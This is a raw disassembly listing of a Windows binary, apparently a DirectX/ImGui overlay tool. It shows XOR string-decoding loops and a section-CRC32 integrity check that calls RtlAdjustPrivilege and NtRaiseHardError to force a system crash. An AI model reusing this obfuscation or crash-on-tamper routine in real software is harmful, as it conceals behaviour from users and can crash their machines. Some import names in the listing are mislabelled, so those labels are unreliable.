movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x140058810
cmp r8d, 0x1f
jge 0x140058953
movsxd rax, r8d
lea r9, [rbp + 0x1d5]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140058920
mov eax, dword [0x1400e9b18]
mov dword [rbp + 0x1ce], eax
movzx eax, word [0x1400e9b1c]
movups xmm0, xmmword [str.v_fkoPT_SJMc]
mov word [rbp + 0x1d2], ax
movups xmmword [rbp + 0x1b6], xmm0
lea r13, [rbp + 0x1d5]
movzx eax, byte [0x1400e9b1e]
movsd xmm0, qword [0x1400e9b10]
mov qword [rbp - 0x70], r13
mov byte [rbp + 0x1d4], al
movsd qword [rbp + 0x1c6], xmm0
mov r8d, r15d
cmp r12d, 2
jl 0x140058ad4
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x1b6]
mov edx, 4
mov r9d, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x1400589d0
cmp r8d, 0x1f
jl 0x140058ad4
mov qword [rbp - 0x70], r13
jmp 0x140058b23
movsxd rax, r8d
lea r9, [rbp + 0x1b6]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140058af0
mov eax, dword [0x1400e9a98]
mov dword [rbp + 0x1af], eax
movzx eax, word [0x1400e9a9c]
movups xmm0, xmmword [0x1400e9a80]
mov word [rbp + 0x1b3], ax
movups xmmword [rbp + 0x197], xmm0
lea r10, [rbp + 0x1b6]
movzx eax, byte [0x1400e9a9e]
movsd xmm0, qword [0x1400e9a90]
mov qword [rbp - 0x50], r10
mov byte [rbp + 0x1b5], al
movsd qword [rbp + 0x1a7], xmm0
mov r8d, r15d
cmp r12d, 2
jl 0x140058ca8
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x197]
mov edx, 4
mov r9d, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x140058ba0
cmp r8d, 0x1f
jl 0x140058ca8
mov qword [rbp - 0x50], r10
mov qword [rbp - 0x70], r13
jmp 0x140058cf3
movsxd rax, r8d
lea r9, [rbp + 0x197]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140058cc0
mov eax, dword [0x1400e9818]
mov dword [rbp + 0x190], eax
movzx eax, word [0x1400e981c]
movups xmm0, xmmword [0x1400e9800]
mov word [rbp + 0x194], ax
movups xmmword [rbp + 0x178], xmm0
lea r11, [rbp + 0x197]
movzx eax, byte [0x1400e981e]
movsd xmm0, qword [0x1400e9810]
mov qword [rbp - 0x30], r11
mov byte [rbp + 0x196], al
movsd qword [rbp + 0x188], xmm0
mov r8d, r15d
cmp r12d, 2
jl 0x140058eae
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x178]
mov edx, 4
mov r9d, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x140058d70
cmp r8d, 0x1f
jl 0x140058eae
lea rcx, [rbp + 0x178]
mov qword [rbp - 0x10], rcx
mov eax, dword [0x1400e9980]
mov dword [rbp + 0x230], eax
movzx eax, word [0x1400e9984]
mov word [rbp + 0x234], ax
movzx eax, byte [0x1400e9986]
mov byte [rbp + 0x236], al
mov qword [rbp - 0x30], r11
mov qword [rbp - 0x50], r10
mov qword [rbp - 0x70], r13
jmp 0x140058f25
movsxd rax, r8d
lea r9, [rbp + 0x178]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140058ec0
mov eax, dword [0x1400e9980]
mov dword [rbp + 0x230], eax
movzx eax, word [0x1400e9984]
mov word [rbp + 0x234], ax
movzx eax, byte [0x1400e9986]
mov byte [rbp + 0x236], al
lea rax, [rbp + 0x178]
mov qword [rbp - 0x10], rax
movups xmm0, xmmword [0x1400e9968]
movups xmmword [rbp + 0x218], xmm0
movsd xmm0, qword [0x1400e9978]
movsd qword [rbp + 0x228], xmm0
mov r8d, r15d
cmp r12d, 2
jl 0x14005906e
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x218]
mov edx, 4
mov r9d, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x140058f70
cmp r8d, 0x1f
jge 0x1400590b3
movsxd rax, r8d
lea r9, [rbp + 0x218]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140059080
mov qword [rbp + 0x944], r15
mov qword [rbp + 0x958], 2
mov qword [rbp + 0x970], 2
mov qword [rbp + 0x930], r15
mov dword [rbp + 0x940], Ordinal_30
mov dword [rbp + 0x938], reloc.WLDAP32.dll_Ordinal_60
mov ecx, 1
mov dword [rbp + 0x93c], ecx
mov dword [rbp + 0x954], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [0x140122c40]
mov qword [rbp + 0x960], rax
mov qword [rbp + 0x94c], rcx
mov qword [rbp + 0x968], rcx
mov dword [rbp + 0x148], 0xb000
mov dword [rbp + 0x14c], 0xa000
lea rbx, [0x140123118]
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x150]
mov qword [rsp + 0x50], rax
lea rdi, [0x140123110]
mov qword [rsp + 0x48], rdi
lea rsi, [0x140123100]
mov qword [rsp + 0x40], rsi
lea rax, [rbp + 0x930]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rbp + 0x148]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, ecx
xor ecx, ecx
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
mov ecx, 5
cmp eax, 0x887a0004
jne 0x1400591f7
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x150]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rsi
lea rax, [rbp + 0x930]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rbp + 0x148]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, ecx
xor ecx, ecx
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
jne 0x1400606e9
mov rcx, qword [0x140123100]
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
lea r9, [rbp + 0x358]
lea r8, [0x1400e99b8]
xor edx, edx
call r10
mov rcx, qword [0x140123110]
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
lea r9, [0x1401230f8]
xor r8d, r8d
mov rdx, qword [rbp + 0x358]
call r10
mov rcx, qword [rbp + 0x358]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140055060]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.140053b00
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140053200]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140053340]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 8
call fcn.1400c6204
lea rcx, [0x140052820]
mov qword [rax], rcx
lea rcx, [rbp + 0x588]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
mov r9, rax
lea r8, [0x140064500]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x580], rax
test rax, rax
je 0x1400606d6
cmp dword [rbp + 0x588], r15d
je 0x1400606ca
movaps xmm0, xmmword [rbp + 0x580]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400606ca
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x580], xmm0
call fcn.140052880
mov edx, 0xa
mov rcx, qword [0x140122c40]
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140122c40]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rdi, qword [0x140122bc0]
mov rdx, qword [0x140122bb0]
mov ecx, 0x5f80
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rcx, qword [0x140122bc0]
test rcx, rcx
je 0x14005938c
inc dword [rcx + 0xf0]
test rax, rax
je 0x14005939d
xor edx, edx
mov rcx, rax
call fcn.140002230
jmp 0x1400593a0
mov rax, r15
mov qword [0x140122bc0], rax
call fcn.140006ba0
test rdi, rdi
je 0x1400593ba
mov qword [0x140122bc0], rdi
jmp 0x1400593c1
mov rdi, qword [0x140122bc0]
test rdi, rdi
jne 0x1400593e7
mov r8d, 0x10ae
lea rdx, str.D:DelX_Projectimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rdi, qword [0x140122bc0]
or dword [rdi + 8], 3
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0xe48]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [rbp + 0xe50]
add eax, 0xfffffd80
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm10
movss dword [rbp + 0x154], xmm0
mov rcx, qword [0x140122c40]
call fcn.14004adf0
mov r15, qword [0x140123118]
mov r14, qword [0x140123110]
mov rsi, qword [0x140122bc0]
test rsi, rsi
jne 0x140059467
mov r8d, 0x10ae
lea rdx, str.D:DelX_Projectimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rsi, qword [0x140122bc0]
cmp qword [rsi + 0x98], 0
je 0x14005948b
mov r8d, 0x225
lea rdx, str.D:DelX_Project_backendsimgui_impl_dx11.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rdx, qword [0x140122bb0]
mov ecx, 0x78
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rbx, rax
mov rax, qword [0x140122bc0]
test rax, rax
je 0x1400594b1
inc dword [rax + 0xf0]
xor ecx, ecx
test rbx, rbx
je 0x1400594e6
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
movups xmmword [rbx + 0x60], xmm0
mov dword [rbx + 0x70], 0x1388
mov dword [rbx + 0x74], 0x2710
jmp 0x1400594e9
mov rbx, rcx
mov qword [rsi + 0x98], rbx
lea rax, str.imgui_impl_dx11
mov qword [rsi + 0x88], rax
or dword [rsi + 0xc], 8
mov qword [rbp + 0x140], rcx
mov qword [rbp + 0x138], rcx
mov qword [rbp + 0x488], rcx
mov rax, qword [r14]
mov r9, qword [rax]
lea r8, [rbp + 0x140]
lea rdx, [0x1400e6f80]
mov rcx, r14
call r9
test eax, eax
jne 0x14005958d
mov rcx, qword [rbp + 0x140]
mov rax, qword [rcx]
mov r9, qword [rax + 0x30]
lea r8, [rbp + 0x138]
lea rdx, [0x1400e6f90]
call r9
test eax, eax
jne 0x14005958d
mov rcx, qword [rbp + 0x138]
mov rax, qword [rcx]
mov r9, qword [rax + 0x30]
lea r8, [rbp + 0x488]
lea rdx, [0x1400e6fa0]
call r9
test eax, eax
jne 0x14005958d
mov qword [rbx], r14
mov qword [rbx + 8], r15
mov rax, qword [rbp + 0x488]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp + 0x140]
test rcx, rcx
je 0x14005959f
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp + 0x138]
test rcx, rcx
je 0x1400595b1
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
lea rbx, [0x1400e5670]
mov qword [rsp + 0x28], rbx
xor r15d, r15d
mov qword [rsp + 0x20], r15
movss xmm6, dword [0x1400e9c7c]
movaps xmm3, xmm6
mov r8d, 0xa06c
lea rdx, [0x140108d80]
mov rcx, qword [rdi + 0x38]
call fcn.140031430
mov qword [0x140122be0], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r15
movss xmm3, dword [0x1400e9c84]
mov r8d, 0xa06c
lea rdx, [0x140108d80]
mov rcx, qword [rdi + 0x38]
call fcn.140031430
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r15
movss xmm3, dword [0x1400e9c8c]
mov r8d, 0xa25c
lea rdx, [0x1400fe5c0]
mov rcx, qword [rdi + 0x38]
call fcn.140031430
mov qword [0x140122c68], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r15
movaps xmm3, xmm6
mov r8d, 0xa25c
lea rdx, [0x1400fe5c0]
mov rcx, qword [rdi + 0x38]
call fcn.140031430
mov qword [0x140122bd8], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r15
movss xmm3, dword [0x1400e9c80]
mov r8d, 0xa25c
lea rdx, [0x1400fe5c0]
mov rcx, qword [rdi + 0x38]
call fcn.140031430
mov qword [0x140122bd0], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r15
movss xmm3, dword [0x1400e9c78]
mov r8d, 0xa25c
lea rdx, [0x1400fe5c0]
mov rcx, qword [rdi + 0x38]
call fcn.140031430
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r15
movss xmm11, dword [0x1400e9c74]
movaps xmm3, xmm11
mov r8d, 0x54c
lea rdx, [0x14011fed0]
mov rcx, qword [rdi + 0x38]
call fcn.140031430
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r15
movaps xmm3, xmm11
mov r8d, 0xb8d8
lea rdx, [0x140112df0]
mov rcx, qword [rdi + 0x38]
call fcn.140031430
mov qword [0x140122c70], rax
movdqa xmm0, xmmword [0x1400ea240]
movups xmmword [rbp - 0x60], xmm0
xor bl, bl
mov dword [rbp - 0x3c], ebx
movabs r14, 0x6666666666666667
movss xmm8, dword [0x1400e9df4]
mov edi, 1
nop dword [rax]
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x11f0]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x1400597cf
nop dword [rax]
lea rcx, [rbp + 0x11f0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x11f0]
call qword [sym.imp.USER32.dll_DispatchMessageA]
movzx ebx, bl
cmp dword [rbp + 0x11f8], 0x12
cmove ebx, edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x11f0]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140059780
mov dword [rbp - 0x3c], ebx
test bl, bl
jne 0x14005ff7f
mov r8d, dword [0x1401230f0]
test r8d, r8d
je 0x140059892
mov r9d, dword [0x140123108]
test r9d, r9d
je 0x140059892
mov rcx, qword [0x1401230f8]
test rcx, rcx
je 0x140059816
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401230f8], r15
mov r8d, dword [0x1401230f0]
mov r9d, dword [0x140123108]
mov rcx, qword [0x140123100]
mov rax, qword [rcx]
mov r10, qword [rax + 0x68]
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor edx, edx
call r10
mov dword [0x140123108], r15d
mov dword [0x1401230f0], r15d
mov rcx, qword [0x140123100]
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
lea r9, [rbp + 0x4e0]
lea r8, [0x1400e99b8]
xor edx, edx
call r10
mov rcx, qword [0x140123110]
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
lea r9, [0x1401230f8]
xor r8d, r8d
mov rdx, qword [rbp + 0x4e0]
call r10
mov rcx, qword [rbp + 0x4e0]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], r15
mov rax, qword [rbp + 0x158]
movsxd rsi, dword [rax + 0x3c]
add rsi, rax
movzx eax, word [rsi + 0x14]
lea rbx, [rsi + 0x18]
add rbx, rax
movzx edi, r15w
cmp r15w, word [rsi + 6]
jae 0x14005999f
mov rdx, qword [rbp + 0x120]
cmp dword [rbx + 0x24], 0
jl 0x14005998e
mov r8d, dword [rbx + 0xc]
add r8, qword [rbp + 0x158]
je 0x14005998e
mov qword [rbp + 0x9e0], rbx
mov qword [rbp + 0x9e8], r8
mov eax, dword [rbx + 8]
mov qword [rbp + 0x9f0], rax
mov eax, dword [rbx + 0x24]
mov qword [rbp + 0x9f8], rax
mov r9d, dword [rbx + 8]
mov eax, r15d
mov rcx, r15
test r9, r9
je 0x14005992f
nop
crc32 eax, byte [r8 + rcx]
inc rcx
cmp rcx, r9
jb 0x140059920
mov dword [rbp + 0xa00], eax
cmp rdx, qword [rbp + 0x128]
je 0x140059974
movups xmm0, xmmword [rbp + 0x9e0]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x9f0]
movups xmmword [rdx + 0x10], xmm1
movsd xmm0, qword [rbp + 0xa00]
movsd qword [rdx + 0x20], xmm0
mov rdx, qword [rbp + 0x120]
add rdx, 0x28
mov qword [rbp + 0x120], rdx
jmp 0x14005998e
lea r8, [rbp + 0x9e0]
lea rcx, [rbp + 0x118]
call fcn.140063c90
mov rdx, qword [rbp + 0x120]
inc di
add rbx, 0x28
cmp di, word [rsi + 6]
jb 0x1400598d3
xorps xmm0, xmm0
movdqu xmmword [rbp - 8], xmm0
mov qword [rbp + 8], r15
mov rsi, r15
mov rcx, qword [rbp + 0x168]
mov r9, qword [rbp + 0x160]
sub rcx, r9
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rbx, qword [rbp]
je 0x140059a69
mov rdi, r15
mov r8, qword [rbp + 0x118]
add r8, rdi
mov eax, dword [r8 + 0x20]
cmp dword [rdi + r9 + 0x20], eax
je 0x140059a3b
cmp rbx, qword [rbp + 8]
je 0x140059a24
movups xmm0, xmmword [r8]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [r8 + 0x10]
movups xmmword [rbx + 0x10], xmm1
movsd xmm0, qword [r8 + 0x20]
movsd qword [rbx + 0x20], xmm0
mov rbx, qword [rbp]
add rbx, 0x28
mov qword [rbp], rbx
jmp 0x140059a34
mov rdx, rbx
lea rcx, [rbp - 8]
call fcn.140063c90
mov rbx, qword [rbp]
mov r9, qword [rbp + 0x160]
inc rsi
add rdi, 0x28
mov rcx, qword [rbp + 0x168]
sub rcx, r9
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rsi, rdx
jb 0x1400599e0
mov r8, qword [rbp + 0x118]
test r8, r8
je 0x140059ade
mov rcx, qword [rbp + 0x128]
sub rcx, r8
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*4]
shl rdx, 3
mov rax, r8
cmp rdx, 0x1000
jb 0x140059ac0
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060922
mov rcx, r8
call fcn.1400c5e9c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], r15
mov rbx, qword [rbp]
mov rdi, qword [rbp - 8]
cmp rdi, rbx
je 0x140059b34
nop word [rax + rax]
lea r9, [rbp - 0x38]
xor r8d, r8d
mov dl, 1
mov ecx, reloc.WS2_32.dll_send
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp + 0x980]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000420
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
add rdi, 0x28
cmp rdi, rbx
jne 0x140059af0
mov rbx, qword [0x140122bc0]
test rbx, rbx
je 0x140059b4e
mov rbx, qword [rbx + 0x98]
test rbx, rbx
jne 0x140059b6b
jmp 0x140059b51
mov rbx, r15
